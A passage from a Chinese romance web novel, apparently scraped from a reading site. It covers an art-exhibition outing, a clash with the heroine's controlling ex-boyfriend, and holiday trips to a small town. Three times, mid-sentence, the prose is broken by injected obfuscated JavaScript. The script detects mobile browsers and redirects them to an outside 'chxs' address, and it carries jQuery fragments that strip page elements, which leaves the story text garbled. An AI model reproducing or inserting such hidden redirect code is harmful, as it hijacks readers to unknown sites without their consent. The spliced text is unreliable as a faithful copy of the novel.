那天依旧是这么个流程,不过地点换成了KTV。结束时有个朋友拿了筒礼花过来,一开,满屋都是飘扬的金粉。严宇之正同程烨然聊天,提及最近要办的一个美术展,展览的都是法国古典主义知名画家的画作。票十分紧俏,以往他都能拿十几张票,现在只拿到五张。 程烨然听他这话,心里忽然一动,打算朝严宇之要两张。出价只要不太夸张,他都能接受。 可严宇之听了他的话,却说:“出什么价啊,我直接送你就是了。都是朋友,谁计较这个。” 于是第二天,这两张轻飘飘的票,就到了程烨然手里。 在邀请许知蕴时,他其实还是有几分忐忑,拿不准对方是否会答应。毕竟他于她而言究竟是什么人呢? 一个有点交情但不多的朋友、一个同住一栋,楼上楼下的邻居、还是一个带点戏剧性的相亲对象? 但许知蕴答应了。 她接过那张被人保存得很好的展览票,笑着道:“我在新闻里看到过这个展览,知道这个票很抢手。是因为我请你吃了饭,所以你要给我回礼么?” 程烨然也笑了;“是啊,你请我吃了一顿那么好吃的饭,我当然要回礼了。” “那我就恭敬不如从命啦。” 等到了七楼,许知蕴离开电梯时,还在哼着歌。或许是今天出门遇见了洒水车?程烨然听见她轻声哼的是《兰花草》。 * 逛展的那一天,天气很好。 展馆里的人很多,但十分有序。穿着上也百花齐放,有穿着一身小众品牌高定的,也有穿着白色背心大裤衩,脚踩拖鞋的。 许知蕴虽然也在学校里选修过几堂西方美术相关的课程,还得了A等,但她知道自己其实都是死记硬背,今天考完,立马就把昨天学的背的忘个干净。什么普桑、洛兰,在她眼里都一个样。 但这不妨碍她欣赏画作原本的美丽。经典的东西,无需言辞的桂冠,就足以让人的目光流连忘返,深受震撼。 程烨然就在她身后半步的位置,每当她询问时,他就微微弯下腰来,轻声给她解答。许知蕴听得很认真,随身还带了个本子记笔记,说自己既然来了这里,就得抓紧时间陶冶一下情操。 展厅有两层楼,他们先从二楼开始逛。一路上遇到了好些熟人:有程烨然认识的,也有许知蕴认识的。碰面时眼神对视,点点头,就算打过招呼了。程烨然还在帕特尔的展厅里偶遇了严宇之。这人穿着还是那么不修边幅,身边跟着个小朋友,是他的外甥。外甥一脸苦大仇深,好像来看展览是什么必须完成的任务。 严宇之早就看见程烨然了,当然也看见了他身旁的许知蕴。两张票的另外一张到了谁手上,这便显而易见了。程烨然同他介绍,说许知蕴是自己的朋友,严宇之没有作什么暧昧的遐想,也没有打趣的调侃,只是笑着说:“真有缘分啊,希望许小姐参观愉快。” 说完,就带着他正在抽空打手机游戏的外甥走了。 许知蕴小声问程烨然:“他外甥看起来不是很想逛展啊。” 程烨然说:“这是家长给的任务。据说这孩子参观完之后,还得给父母写观后感呢。” 噫,观后感。许知蕴从小到大最讨厌这个玩意。“这么严格呐?” “嗯。”程烨然对他们家的家风也是早有耳闻,“据说这小朋友马上就要出国了,将来也是读艺术。” 怪不得抓得那么紧。 许知蕴不由得感谢自己的父母。许父许母虽然都是博士,但并没有产生“自己的孩子也一定要是博士”的思想,反而是由着许知蕴去,让她想怎么生长就怎么生长。所幸这颗小树没有长成歪脖子。 “那你呢?”她抬头问身旁的男人,“你们家也会要求你一定要学这学那吗?” 程烨然摊了摊手,神情透出几分无辜和自然:“他们啊……他们会抓我哥,但不怎么管我。估计是大号养好了,小号就随便养了。” 许知蕴听他这话,噗嗤一声笑了出来。 他们逛完了二楼,从扶梯下到一楼。一楼的展厅比二楼的要大些,他们在一楼逛了差不多两个小时,才将主要的展厅走完。还有一些比较偏远的小展厅,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042589|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能进去,但许知蕴也不强求——主要是实在有点累了。她不敢想象那些穿着高跟鞋的贵妇人,难道不会感到脚酸吗? 一楼靠近门口的地方有家咖啡厅,她提出去那里坐坐,顺便喝杯咖啡。“我请你喝吧。”她欢快地说,“毕竟你都请我看展了。” 程烨然没有推脱,她便开始看菜单。这家咖啡的菜单设计得很简洁,没有花里胡哨,很是素净。她点了一杯拿铁,随后偏过头问程烨然喝什么。 程烨然笑道:“你来挑吧,只要是常温的,我都可以。” 他们的身体距离靠得其实不算近,就是正常的社交范畴。但两人的神态很自然,就像这个对话在他们之间发生过很多次。 许知蕴很快做出了选择:“一杯西班牙拿铁,常温少甜。” 她付了钱,接过小票,随意找了个位置坐下,看向他:“我点的这个应该还合你口味吧?” 她莫名觉得,程烨然应该会喜欢喝这款。理由嘛,说不上来,或许就是女人的第六感吧。果然,对面的人点了点头:“嗯,非常精准。” 其实这是程烨然最爱的咖啡。 许知蕴有些得意地笑笑,忽然见到他的目光停留在自己的头发上。“怎么了?”她问。 程烨然说:“头发勾到发夹上了……”见许知蕴伸手要拨弄,他连忙站起身,“你不要动,等我一下。” 许知蕴今天扎了个斜着的辫子,用发夹将稍短不服帖的头发和鬓边的刘海都夹了起来。 或许是因为扎的时间久了,辫子松了,从缝隙中钻出来的头发勾到了旁边的发夹,显得有些凌乱。 他走到许知蕴身侧,小心地将她勾在发夹上的头发顺下来。为了不扯痛她,程烨然的力度很轻,一边顺一边低声问许知蕴:“没有扯到你吧?” 许知蕴说:“没有,你放心大胆地弄好了。” 将头发全部顺下来,辫子就变得更松垮了。程烨然索性道:“我帮你重新编一个吧。” 许知蕴有些吃惊:“哎?你会编辫子?” 倒也不是她刻板印象,只是她接触的男人,包括她爸,对长头发的种种处理很是苦手。之前许父自告奋勇帮许母绑丸子头,结果折腾了十多分钟,还没有许母随性一挽来的效果要好。 程烨然笑了笑:“我哥为了给我嫂子做发型,还买了顶假发练手。我在旁边看了好多遍,看也看会了。” 他说着,轻柔地将皮筋拿下来,然后开始给许知蕴编辫子。那双拿笔的手很灵巧,很快就编好了。许知蕴拿手机的镜子一照,倒发现程烨然编的辫子比她编的还要好看。 “哇,你弄的比我之前还好!” 她搜刮脑子里的所有的赞美之辞来夸奖程烨然,然后举着手机照镜子,上看下看,很是满意。程烨然重新回到对面,安静地看她照镜子。他们之间的气氛似乎形成了一层完美的平衡。 但很快,这层平衡就被一个男声打破了。 9. 第九章 听到那一声带点傲气的“许知蕴”的时候,她是有些茫然的。她回过头,看见一个瘦高男人,就站在不远处,一手拿一杯咖啡,另一手吊儿郎当地插兜。 程烨然也看到了:“这是你朋友么?” 许知蕴第一反应是摇头:“我不认识他啊。” 但紧接着,随着这个男人朝他们走近了几步,她脑海里的回忆突然翻涌而起,一下子从记忆的匣子里找出了这张脸。 不过记忆里的人,要比现在面前的人年轻很多。她几乎是在那人靠近的时刻就想起来了:这人叫梁丰。 是她大学时的前男友。 程烨然见许知蕴的神色有些变化,想她估计是记起来这人是谁了,就站起身来,说:“我去趟洗手间,你们慢慢聊。” 许知蕴知道他其实不是去洗手间,而是给他们留说话的空间——尽管许知蕴其实一点也不想说话。但她看梁丰那样子,似乎有很多话要说。 梁丰走近,找了张椅子坐下。许知蕴闻到他身上淡淡的烟味,忍不住皱了皱鼻子。这人浑身上下穿的都是名牌,但无论这些牌子怎么昂贵,他穿起来,就是有一股暴发户的气息。 许知蕴将其归结为审美问题。 梁丰抬眼,用堪称冒犯的目光将许知蕴从头到脚打量了一遍,出声问:“最近怎么样?” 许知蕴懒得跟这个昂着头,鼻孔似乎要朝天的男人说客套话:“不怎么样。” 她这回答明显是敷衍了事,梁丰皱了皱眉,从口袋里掏出钥匙,在手里把玩着:“大学毕业后,我继承了我爸的公司。绿卡已经拿到了,所以几年后,我打算去美国定居。” 钥匙在他手里晃来晃去,许知蕴能隐隐看见钥匙上的车标。如果没看错,那应该是迈巴赫。 倒像是故意甩给她看的。 许知蕴神色淡淡,语调很平,听不出什么情绪:“哦,那么好啊。那就恭喜你了。” 一拳砸在了棉花上。梁丰沉默了几秒,忽然道:“那人是你男朋友?” “不是。”许知蕴很想朝他翻个白眼,但碍于礼节,又生生忍住了。 “不是男朋友……”梁丰咀嚼着这个回答,忽然露出个玩味到极点的笑容,“那就是炮友咯?” 许知蕴的眼神“噌”地冷了下来。 她最恨别人开颜色腔调,何况是开到她头上。“梁丰,”她站起身来,面无表情道,“收回你的话。” 但梁丰置若罔闻:“我认得他,他是程家的二公子。二公子又怎么样,还不是玩女人?如果我同他一样有钱,甚至比他更有钱,你会跟我吗?放心,我不会介意你和他睡了多少次的。” 许知蕴不断地深呼吸,在内心强调;这是公共场合,不能大声喧哗,不能吵架,不能吵架……然而心底还是源源不断地生出一股无法熄灭的怒火。气到了极点,反而笑出了声:“我看你还是太幼稚了。” 她毫不畏惧地直视着梁丰的眼睛:“总有人觉得,女人是个多么低贱的物种。他们希望女人温柔、和顺、顾家,穿他们喜欢的衣服,变成他们喜欢的样子。 他们不把女人当人看,只看做是一只宠物。不想要,就随时丢弃。但似乎只要自己想要了,女人就能乖乖爬回来服侍他。女人算什么呢?用钞票和甜言蜜语就能拉拢过来,这个世界上所有的东西,所有美好的事物,都该绕着你们团团转。 你们多了不起啊,是世界的中心。你们太了不起了,简直不、得、了! “剥夺掉你所有的金钱,你剩什么?你以为用金钱就能买到所有的事物了?我所求不过是一颗真心与尊重,我愿意开价上亿来买你的真心和尊重,那么请问,你有吗?” 许知蕴嘲讽地笑了笑:“我知道,你没有。你简直幼稚自大过了头。还有,我讨厌别人开黄腔,把你那些下流的想象收回去。” 她语速又快又急,音量虽不大,但吐字清晰,让人听得清清楚楚。梁丰几次三番想要打断,但都被许知蕴瞪了回去。说完这么大一段话,她脸不红、心不跳、气不喘,只是冷冷看他一眼,拎起包就要走人。 梁丰脸色青白,见她要走,连忙要去拦她,却被不远处传来的一个低沉的声音定住。“这位先生还想同许小姐叙旧么?” 程烨然施施然走过来,到她身前。许知蕴这才发现程烨然并没有去洗手间,而是在不远处找了个僻静的角落,留心他们的状况。“我看你们叙旧,似乎是有点不愉快的样子。” 他睨了梁丰一眼:“我看先生脸色不好,想必是累了。不如早日回去休息?” 目光在梁丰手上的迈巴赫钥匙上停留了几秒,“如果不方便,我可以为您叫车。” 梁丰这人,喜欢在比他阶级低的人面前横。一旦碰到比他高的,他就横不起来了。“不必了。”他咬着牙说,“我可以自己开车走。” “哦?”程烨然似乎有些惊讶的样子,“那最好了。” 梁丰只感觉一阵血液冲上了头。原先他的脸是青白色的,现在倒涨成了猪肝色。他一言不发地转身,迈着怒气冲冲的步子离开了。 看他走后,许知蕴低声说:“谢谢你啊。” 如果程烨然不在,她也有办法脱身,只不过不能像现在这样干脆利落。 闹了这样一场,咖啡是喝不下的了。他们离开了展馆。来到车库时,程烨然说:“不介意的话,我来开车吧。” 许知蕴点点头。她现在其实还是有点情绪化,而情绪化的人还是别开车的好。 车子驶上主路。窗外的高架桥上,一排排红色的车灯凝固在空气中,动弹不得。许知蕴按了首舒缓的车载纯音乐,就坐在副驾驶上发呆。 在这样的寂静中,程烨然的声音格外清晰:“我大概知道他。他应该姓梁,家里做的是旅游方面的生意。” 车子平稳地开着,许知蕴又听见他问:“我看你们刚才似乎差点要吵起来了……或者说已经吵起来了更合适。可以同我说说么?不说也没有关系。” 面前是一个三岔路口,他们停下来等红灯。当红灯变绿,车子朝前走了几十米后,才传来许知蕴的声音:“他是我前男友。” 许知蕴和梁丰在一场讲座中认识。那时梁丰还没学会抽烟,看起来也是彬彬有礼,还会热情地帮人搬东西——许知蕴后来想起时,都有一瞬间的恍惚:究竟是梁丰变了,还是先前的一切不过是他的伪装? 梁丰对许知蕴一见钟情,费了大力气追求她。时常去她面前刷脸,同她一起去图书馆学习。梁丰的追求很大胆,有一次,甚至在宿舍楼下摆了一圈爱心花,坐在中间弹着吉他,大声唱《喜欢你》。唱完,大喊许知蕴的名字,问她愿不愿意做自己女朋友。 刚上大学的小姑娘,心里怎么会没有对爱情美好的幻想?许知蕴虽然觉得他这个喊楼的举措有些令人害臊,但不可否认的是,她也对梁丰有些好感。这人长得也帅、性格热情、成绩也好——不如试一试? 她就这样把自己“试”进了这份恋爱。 但她逐渐发现,梁丰对她的感情,正在慢慢发生变化。后来她明白了,有一个词叫做“PUA”。 梁丰喜欢小鸟依人的女生。他约许知蕴看电影,选的是一部恐怖片。许知蕴看得津津有味,可梁丰却在电影结束后发了脾气。后来许知蕴才知道,是因为自己没有如他“想象中”一般,柔弱地钻进他怀里。 逛街时,明明蓝色的裙子更加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042590|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看合身,梁丰非要她选另一件粉色的,并说:“粉色多好看啊,我喜欢你穿粉色。这件短裙更好看。” 梁丰同他的朋友聚餐,给许知蕴发了个地址,打电话叫她过去。许知蕴说,我昨天熬夜做比赛课件,很困,要睡觉。梁丰却说,别人的女朋友都能来,为什么你不能来? 许知蕴在电话那头顿了一下。 那时起,她就打定主意同梁丰分手了。她朝电话那头的男人嗤笑一声:“谁给你的权力命令我?我不喜欢别人命令我。”随后干脆地挂断了电话。 不是不想在兄弟面前丢脸吗?我就不让你得偿所愿。 交往半年后,她同梁丰提了分手。 半年的时间看似不短,但在许知蕴的叙述里,也就只有两三分钟罢了。许知蕴尽量让自己的叙述显得轻松点,她没具体讲述梁丰刚刚朝她说的话,也没有将当年恋爱时的不愉快经历细细道出。其实过了好几年,那些关于相处细节的记忆已经不甚清晰。现在想想,似乎那些在外人看来只不过是无足轻重的小事,但在当事人看来,却是层层叠叠的重压。 “就这样。我和他分手了。”许知蕴说完,喝了一口水,“分手后他还想找我,都被我躲开了。” 但没想到,他们会在这里遇见。 程烨然能从车内后视镜里看见许知蕴的神情。她说这些的时候的确显得很平淡,似乎说的只是“小学上课因为讲小话被老师抓包”之类的事情。 但他也很清楚,这样的创伤是免不了疼痛的。 “是他的问题。”程烨然说,“你很好。” 车子又过了一个红绿灯,再转过路口后直行,就快要到达目的地了。路灯的光温柔地照着前方,把一切事物的影子都拉得老长。 “你很好,这样的好,是不需要去无条件迁就别人,也不需要被拿来比较的。我曾听说有位小姨,事业很成功,但是是不婚主义。有人劝她结婚,说她这么好的条件,能配个更优秀更成功的男人。你猜我小姨怎么回答的?” 许知蕴来了兴趣:“怎么回答的?” 估计是因为早就知道答案,程烨然有些忍俊不禁:“她说,‘我管我和他配不配得上,那又怎么样?我的资本不是拿来给你们配来配去的。’挺霸气吧?” 许知蕴都能想象到那位小姨说这话的神态了。“确实挺霸气的。”她深吸一口气,感觉自己的心情好了很多,“你说得没错。我确实挺好的。我是一等一的好人。” 不仅是好人,吵架也很厉害呢。程烨然回想刚才的场景。他同他们有一段距离,再加上周围声音的干扰,对于他们的谈话——或者说是争吵内容,其实听得并不清楚,只是隐隐约约。但他仍然看出来,许知蕴的嘴皮子功夫十分了得。 很伶俐的一个人,看起来挺斯文,却在关键时刻很是硬气。或许还带点阴阳怪气。 “程烨然。”被他想着的人忽然问,“你会和人吵架吗?” “当然会。” 从小到大,其实他同他哥吵得最多。 “那胜率怎么样?” “嗯……比较低。” 程烨熙骂人喜欢引经据典,每次程烨然跟他理论,程烨熙都要在话里加入一大堆中外典故,肚子里没点墨水还听不懂。有时程烨然同他吵着吵着,忽然就开始思考这人先前说的那句话到底是什么意思——思考来思考去,这架自然就吵输了。 许知蕴哈哈笑起来:“看不出啊。我看你刚刚挺厉害的,很有风范嘛。” 她的笑声并不像小学里被过分使用的比喻句一样,是“银铃般的”。那笑声很是肆意,有点不优雅,还有点哑,但却织成了一条美丽的调子,在人的心里轻轻回荡着。 10. 第十章 许妈妈寄来了一箱的快递。寄出地点是希腊。 快递员上门的时候,许知蕴很是吃惊。毕竟这箱子确实很大,看起来也沉甸甸的。 帮她将箱子搬进屋后,快递员就离开了。 许知蕴把自己正在看的下饭剧关掉,从客厅茶几下的置物架里拿了一把剪刀,咔嚓几声就把透明胶剪开。 箱子里东西很多,但都被包装得很结实。有从集市上淘来的杏色陶瓷杯、也有一大袋耳饰与手镯,金的银的宝蓝的都有。许知蕴很喜欢里边的一个手镯,上面的橄榄枝花纹很复古。箱子里还有个牛皮纸袋,打开一看,都是烫金的明信片。有些明信片上附了店主的签名,有些则是空的。另一个透明的袋子里则是各式各样的冰箱贴,还有个做工精致的雕花盒,一打开,是白金的月桂花环头冠。 还有个灰不溜秋的塑料袋,许知蕴想用手撕开,但撕不动,只好再用剪刀剪开。 里边是好几件衣服。 许知蕴想,或许除了那一堆杯子,这也是重量的来源:灰白黑三色同款的羊毛开衫、重工刺绣披肩、还有几件各色格子的印花度假裙。 她把其中一件白色的裙子拿起来,在窗边展开。阳光落在这条洁白的裙子上,晕染出柔和的珠光。 她拿过手机,打了个电话过去。那边很快就接了:“喂,小蕴,东西收到没有?” 许知蕴笑着说:“收到了收到了,我都很喜欢……只是你怎么想起来给我买衣服了?” “在商场里面逛,看到合适的,就想给你买了。我手机里存了你的尺码,我是按着你的码数选的,你试试看看合不合适。” 许知蕴拿过开衫上身,照了照镜子,又拿过那条白色的裙子在身上比了比。“我觉得很合适。” “合适就好啦,五一假期马上要到了,我记得你之前就说这个假期要出去玩,没错吧?穿点好看的新衣服出去啦。” 许知蕴是去年十二月时在家里的饭桌上聊到这个的。冬天,家里在煮火锅,暖洋洋的。许父许母高调宣布明年二月份就要去欧洲畅玩一圈,于是许知蕴说,自己五一假期也要出去玩。妈吗问她,要去哪玩呢?许知蕴啃着鸡爪,口齿不清地说,还没想好呢。 她没想到父母还会记得自己的无心之言。 不过,她也确实有五一假期出游的打算。不过她并不打算去热门城市看人头,而是打算去个小地方,悠悠闲闲地度过这几天。 她手上整理着衣服,忙着把众多可爱搞怪的陶瓷杯们拿到洗手池去洗:“是啊,我假期是要出去玩。我打算去延桐。” 延桐是个小城市,距离这也不远,坐高铁两个小时就到了。 “是吗?延桐有什么好玩的?” “去游山玩水,然后赏茉莉呀。”许知蕴说,“我之前刷手机时就看到了,一到季节,茉莉花就开了,可漂亮了。花一开,据说延桐的街道上,都满溢着茉莉的味道。” 延桐的别名,就是“茉莉之城”。但或许因为本身名气小,加上当地文旅部门不太关注的原因,这么一座美好的小县城,却在“黄金周”“小长假”期间翻不出什么水花。就连担心去大城市人挤人,转而去搜寻小众旅游地点的人们,也不一定能找到它。 “那你记得做攻略啊,买车票啊。我听说假期的票可难买了。” “放心吧,你女儿我的手速可是准准的。总不至于站着去吧。” 许知蕴一边叠衣服,一边自信满满地说。 可她没想到,自己竟然一语成谶。在车票开售的当天,她守着手机,准时准点进去,却发现购票按钮在一开始就变成了橙黄色的“候补”。由于延桐是个小城,经过的列车也就只有那么一趟,并且在整个假期,只有头尾两天有车。许知蕴手忙脚乱地填了候补信息,过了几天,又忙着抢回来的票。 这次很顺利,回来的票早早抢上了。但去的票还没有动静。 许知蕴很心焦,在“中转方案”里看了一堆,愣是没有找到满意的。 在出发的前一天,她的手机终于收到了“候补成功”的消息。可她满怀希望地打开后,却发现自己候补到的是一张无座票。 ……算了,无座就无座吧。两个小时,也不是不行。 她去杂货店买了张可折叠的军绿色小凳子,收拾好了东西,在一个阳光明媚的中午,踏上了这趟开往哈尔滨西,途经延桐的列车。 * 程烨然的侄子很自豪地将这次小测验的试卷拿了出来。鲜红色的“92”映入眼帘。 “叔叔,看我的分数!变高了吧,都上90了!” 程烨然拿过卷子扫了一遍,满意地点点头:“嗯,不错。这是数学的试卷。英语和语文的呢?” 小朋友的脸色顿时变得刷白。“这个……”他扭扭捏捏地去翻书包,将两张皱巴巴的试卷拿出来,动作缓慢得像是被人开了0.5倍速键。“嗯……考得不是特别好……” “赶紧的吧,我又不像你爸,还会骂你?” 程烨然把皱巴巴的卷子摊开:英语66,语文73。坏消息是没达到他哥定的要求,好消息是起码都及了格。 程烨然是被他哥拉来当家教的。 小侄子叫俊俊,今年上小学二年级。小学刚入学时成绩还马马虎虎,但随着时间的推移,越来越差,甚至好几次都没及格。自己和妻子的工作都很忙,程烨熙就决定,给儿子找个家教老师。 谁是水平高、有耐心、收费又合理的家教呢?程烨熙根本没想这个问题——他直接找到了他弟。 程烨然刚开始是拒绝的:“工作忙,周末只想休息……你还不如把俊俊的美术班停了。他不学画画,或许还能放心思在学习上。” 程烨熙摇头:“不行,那老师很严格,找他我可花了大力气。” “那你也可以花大力气找个家教嘛。” “所以我来找你啊。劝你教教你侄子,我看也能费我蛮大力气。” 程烨然叹了口气:“行行行,你工资开够我的就行了。” 于是程烨然荣升为俊俊的家庭教师,负责教他语数英三门科目。每周三和周日,他就赶回老宅,给俊俊辅导作业。 俊俊其实很喜欢自己这个叔叔。他小时候玩的玩具,很大一部分都是叔叔送的。他想要某牌子的限量款玩偶,叔叔也能给他拿到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042591|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是现在叔叔要当自己的老师了。俊俊很是忐忑。 但程烨然教得还不错——辅导了一个月,俊俊的成绩终于又从及格线下回升了。其中数学学得最好,语文次之,英语学得最差。但总比刚开始三科都不及格要好得多。 每次拿到俊俊那如股票线一样波动不定的英语成绩,程烨然都很纳闷。他问俊俊:“你小时候不是上的国际幼儿园吗?按道理来说英语应该不差才对。” 俊俊说;“叔叔,可是我的成绩都通货膨胀了呀!大家都是直升上来,相比之下我的成绩当然就……好吧,在幼儿园的时候其实就已经是吊车尾了……” 程烨然循循善诱:“你说,是不是不上美术班,你就有更多时间学习了?是这个道理吧?” 谁知俊俊的反应却很激烈:“不行!我要上美术班!老师可好了,我每次都能得夸奖,还能坐前排呢!” 程烨然很惊讶。据他所知,这个美术老师可是严厉的不得了。看来俊俊有这方面的天赋? 辅导来辅导去,在五一假期前,俊俊的成绩总算有了可喜可贺的进步:数学考了97,语文和英语都是88,可以说是进步飞速了。俊俊很高兴,吃饭的时候拿着三张试卷在程烨熙面前晃悠:“爸,你看!” 说完,他开始跟他爸妈讨价还价:“五一我想去旅游,看在我进步的份上,就让我去吧!” 江玥温柔地摸了摸他的头:“爸爸妈妈也想去,但实在是挤不出时间呀。等暑假我们再去好不好?” 程烨熙和江玥虽然住在老宅,但他们在家的时间并不算多,也就只有偶尔的周末,能够一家人坐下来,好好吃三餐。平日里,俊俊都是由管家照顾。 听了妈妈的话,俊俊并不放弃:“那我和叔叔去。叔叔总该有空吧?” 被点到名的程烨然正在吃金钱肚。“我?”他三两下把金钱肚咽下去,“你为什么觉得我会有空?” 俊俊说:“我知道你们公司假放得最多。我之前看见你朋友圈了,每次假期你都放满,不是去这吃,就是去那玩。叔叔,和我去旅游嘛,好不好?” 小朋友眨巴着大眼睛,看得人心都要可爱化掉了。 程烨然五一正好有出游的打算,但他还没想好去哪:“行啊。你选个目的地呗。” “我早就想好啦。”俊俊跑到书房,拿出一个小本本。上面是他稚嫩的字体,将每一天的行程都规划得满满当当,看起来是早有准备,“我们去延桐吧!我听说延桐有好多农家乐,可以去那里抓鱼然后烤来吃。它还有好多山,我们可以去爬山……延桐还有茉莉花,我想要那个茉莉花手串!” 他紧张地看着程烨然,生怕对方不同意自己的计划。毕竟延桐是个小县城,和其他热门旅游城市比起来,它显得太不值一提。 程烨然其实没去过延桐。如果不是俊俊提起,他都差点要忘记,周边还有那么个不起眼的地方。 “那你的美术课怎么办?”他问。 俊俊满不在意地说,老师自己假期都要去澳洲玩,根本没空管他们。双方都放假,多好。 “那可以啊。”程烨然是个很开明的大人,“那我们就去延桐。” 11. 第十一章 但是很快就碰到了一个问题:车票怎么办? 他们的出行计划,算得上是临时起意。票开售的日期早就过了,程烨然点进车票软件,看见五一当天的出行列车全部都是“售罄”。俊俊也在扒拉自己的手机。程烨然想着,如果买不到票,他就开车去。如今高速路四通八达,开车无非是久一点罢了。 他正这么想着,忽然听见俊俊惊喜的声音:“有人把两个商务座退掉了!正好够我们一人一个!” 小朋友的手速就是快,转眼间就填好了信息订好了票。很快,程烨然的手机就接受到了订票成功的短信。 他摸了摸俊俊的头:“真棒。你负责再买回程的车票。住宿的事情就交给我了。” 俊俊朝他敬礼:“保证完成任务!” * 许知蕴起了个大早,素着脸出了门。地铁站里就已经能看出人挤人的景象,到了车站里更是人山人海。她拖着个行李箱,排着长长的队伍过安检,又随着人流去到检票口。 虽然感觉很是拥挤,但这些小小的不舒服在看到高铁窗外的景色时,就烟消云散了。 现在是美丽的夏天。阳光很好,勾勒出空气的形状。 城市里,是没有连绵的山丘的,取而代之的是一幢幢切割了天空的高楼。在这样密度的高楼大厦里生存,很容易忘记抬头去看天空的景色。每一天的云都是不一样的,有的似乎触手可及,有的又很是高远。 车厢里的声音很嘈杂,混杂了各色的方言。许知蕴找了个空地,打开她的折叠凳,坐着百无聊赖地刷手机。但其实刷手机也刷得并不开心,因为每停靠一个站,她都要起身给上下列车的人腾出位置。 就在这样来来去去的折腾中,两个小时一晃而过。 拉着行李箱出站的时候,许知蕴就已经闻到空气中淡淡的香气了。 车站很小,走两步就能看到天空。路两旁的茉莉花,有一些已经盛放,但大部分,还只是花骨朵儿。可尽管是这样,茉莉花的香气还是从四面八方沁入人的心脾。即使是五一黄金周,车站的人依旧很少,大部分是拖着行李箱进站的,或许要到别处去吧。许知蕴跟随指引到了公交站,等车的途中,还碰见一个穿着民族服饰的大姐,用家乡话在喊:“两块钱一串茉莉花,要不要买一串咧?” 许知蕴摇摇头。比起买一串,她更想自己摘几朵花串起来。大姐见她摇头,又用方言说了句什么,就踱到另一边了。 后来她才知道,那句话的意思是“祝你玩得开心”。 公交摇摇晃晃地来,看上去很袖珍,像一块蓬松的面包。许知蕴提着行李箱上车,找了个位置坐下。车子又晃晃悠悠地向前开了。 她定的是一家民宿。 民宿的装修是原木风,一楼有个庭院,种满了各色鲜花。现在是夏天,花开得很繁盛,阳光落在上面,就像镀了一层蜜糖。许知蕴进门的时候,前台是个比她还小的姑娘,很热情地帮她拿行李,还给她安排了据说是“风景最好的房间”,房号是312。 许知蕴打开房间。她放好行李,然后走到窗边,轻轻推开了窗子。 她想,前台小姑娘的话果然没错。这里的风景真的很好。 她能望见蓝得没有一丝白云的天空,在天空之下,是连绵起伏的翠绿的青山。道路两旁种满了茉莉,深呼吸时,鼻尖萦绕着的全是香味,心情都变好了。 这才是崭新的假期的开始。 * 许知蕴准备去爬山。 山上的人倒是挺多,一路上都能看见不少。听路人说,这几天晚上山脚下还有长桌宴和篝火表演,到时候更热闹。许知蕴爬到一半,已经汗如雨下,不得不找个树荫歇息会。树荫下还有同样在休息的旅游团,导游举着旗子讲这座山的神话传说。许知蕴假装自己也是旅游团的一员,偷偷加入其中。 等故事讲完了,导游大手一挥,说我们在半山腰休息一下,该买水的买水、该吃东西的吃东西,我们十五分钟后在树荫下集合。人群闹哄哄散去,分散到各个角落。许知蕴看见不远处有一家店在卖烤肠,香气传来,不免心动,跑到烤肠机前问:“多少钱一根?” 烤肠大爷眼都不抬:“五块一根,八块两根。” ……看来还是低估了景点的物价。许知蕴犹豫着看向旁边的冷柜,“那冰棍呢?” “三块钱一根。只有绿豆老冰棍和红豆老冰棍。” 她思考了一下,最后还是决定吃冰棍:“那给我来一根绿豆的吧。” 扫码付了款,撕开包装,冰棍的寒气直往外冒。她小心翼翼的舔了一口,但还是被冰到了牙齿——不过这绿豆冰棍是真的挺好吃。 她后边是一个小孩,很豪气地点了四份:“我要两根烤肠,两根冰棍,一根绿豆一根红豆。我给你现金。”说完就从口袋里掏出张皱巴巴的二十块钱等找零。拿了东西,他也没有立即吃,而是坐在一张躺椅上,伸着脖子,四处张望。 这小孩挺可爱的。不过身旁怎么没有大人?许知蕴凑过去,摆好表情,让自己显得不那么像人贩子:“小弟弟,你怎么一个人在这?你的爸爸妈妈呢?” 小朋友转过来,大眼睛忽闪忽闪的,许知蕴觉得他的睫毛比自己的都要长。“我是跟叔叔来的。叔叔在那边买风车,等下就过来了。风车很好看的。” 听到这小孩不是跟家人走丢,许知蕴稍微放了心。她本打算吃完冰棍再走人,现在看来,还是等着这孩子的叔叔来接他再走吧。 她这么想着,突然听见这小朋友用他略显稚嫩的嗓音冷不丁来了一句:“姐姐,你是不是怕我跟家人走丢了,或者担心我被拐卖呀?” 许知蕴手里的冰棍差点掉在地上:“什、什么?” 小朋友自顾自地说:“放心好啦,姐姐。我叔叔一会就来。” 许知蕴问他:“胆子这么大,不怕我拐卖你啊?” 